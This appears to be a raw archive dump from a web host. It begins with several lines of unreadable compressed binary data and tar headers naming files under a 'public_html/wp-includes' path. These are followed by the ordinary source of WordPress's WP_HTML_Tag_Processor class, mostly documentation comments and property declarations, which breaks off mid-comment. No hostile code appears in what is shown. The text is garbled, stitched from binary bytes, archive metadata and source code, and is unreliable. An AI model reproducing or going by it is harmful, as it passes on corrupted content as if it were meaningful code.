bJ�@�LB��A����R��Q^h���Q��\�7#D�����3Dy����3Dy����3Dy�E7Cf����)=��������n�L�e�.��@ehhqUF�p�e�U��hv~��@
"���n�`Dy��Dy��pD���Dy��Dy��Dy�a[)��N���&`Z\+�`�W��xkl=���-4��0Q��Q.�n�1QQ��\S�Bs̢�/Lj�B���F5�5e���44ԚU�ad����r�e�1���(�5��hBg�u�^g}��Zh��"j@������[f��ʇR
�24�!������`�V�o?6��m4����k�(�,*��6L���o?6��m4ЊO�1Q1�J)'Zh��b�P
nm�'�ۏ�*�*��+�rƨ��Q"Zt�&�~�g��4��Q��Zh�Y��,F��e�6�PY
C�P���U��u�t74X3�j�^�a���ݲ"L�թ; �~lV�h�M{��D���9Q��L��(�#�T�L�|�u^�o?6��m4�1��Eis	�(/4˨-��Lc����\�i�Y�2bDih�=C���Q&�D�Dy
�1
�]ϼ[|HQ^acdj�^�adjۍ�d�������B�����0�P�2
#�LԎh��I��Mԁh��*��DE%
�#Ә��E�v�"P��s
�xkl]Զ�L���@���A��eET����ie�vDC�O�4&*VQ�5����z<��j|�0,�37j��[���=߃p�Z�����dZ\�.�U���$�5���f�~q���fv�l������uQn��m��+,������������߫F�w�lQ5ipzv�"����<~x�<@�S�4��A�SDih�}j����L���
�O-�0D�ve�����­�0�c���FCm#�4`Q�
!a­�) �~lV�h�s2�1���Q^h�Q�h�2��2Q{Q
Z��.� 2*�(��YF!EYF��:� �02�D�Ey�7��P'8��7Q����8�4&�D�=bDih��{���Q&
-�+���:"�02�/�X�@��	�V�PGdFe�6re�(��Lc���ڟ�iLTL����$��D��}�Qj7I�ad���
�I"Ә(���	���v�dFF�z�2��2Q&�[��Qj7I�adjsA�1Q&j� JCC���4��Bm.�4&�D�=Dih�]���Q&
-�+�×^'��v�J>�‰�
�eR���ٮRi�8=s��!���TiLTT�8N��D���'+Q���02�D��i�4&�D�=bDih���J��(��ߌ����UFF����RT�S�1QQ�B��Lc�LԾ��Q
Z5F�4��꠶�d�(��U*
Cj�J�a�B��e�(T�S����>X��-�k
o�
Հ�i�!�EWa��}��=Y�AT��b�R:Qj@}֯��@C�W�>9�(m ��B���FC���O]���b��6�(4�!�q�&�04�S�T�c�LV�44��F�k4�E�ws8QZ~D)h�{7�4��2Q���΂PoI�FC�!�@�D���GQoθFCM8	��c��&+Q�E�����FC����2QQ��FL�(-E��K�d������oF�N�h4����4��%J�9fQ�@@�fe��F��4�(�A2��DE%
ԏ�h�:Y���DuQ�U���_T\��|m#�*�CI�aT���ј�xD�P-m��E�=�(

t N�adTQ^aCd�]�� 2�Zah4�Eu{�+YU�c%
Q[h�4��`6r�hgTZ<�����^@s�-�u��̕$m4�+�-��n��#TF�j�T�s?�6�����`�˔o����l�AT��[e
�_�*�:K ��6@e���ƈ�� M�6FFA�FQh��02
�(<�(-��![hH�W�Ey2I
"�(�h�9fQZ~D)h]P�\�AdT Q^acd�m4���9i�a�5 5�c�
Q
�fUm4��"��5��T�N�a���4��rƹ��E�-Q�͢� 2�43�h�@��!�rj���!
5��i�P�(�!�r��6�(��@�9fQʬ� JB�'��h�g���3Wi�83s��!�33Wi�R��\�a����U��7y�O]QU�j#k���Ƶ�>�P���e>��~�z2/3��{~���:�.�~yɲn$�#7[-7G�We���	ע�̫��Ἴ/�͉��di:�>yW�Ï���a���Hz��;�e�m��U���|���Ȟ���Hݯ�|R�~�\=�����{��H��,�TD
tP��L��Yt�4Q��o*�Ӌzf/{��^{��M/!�PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
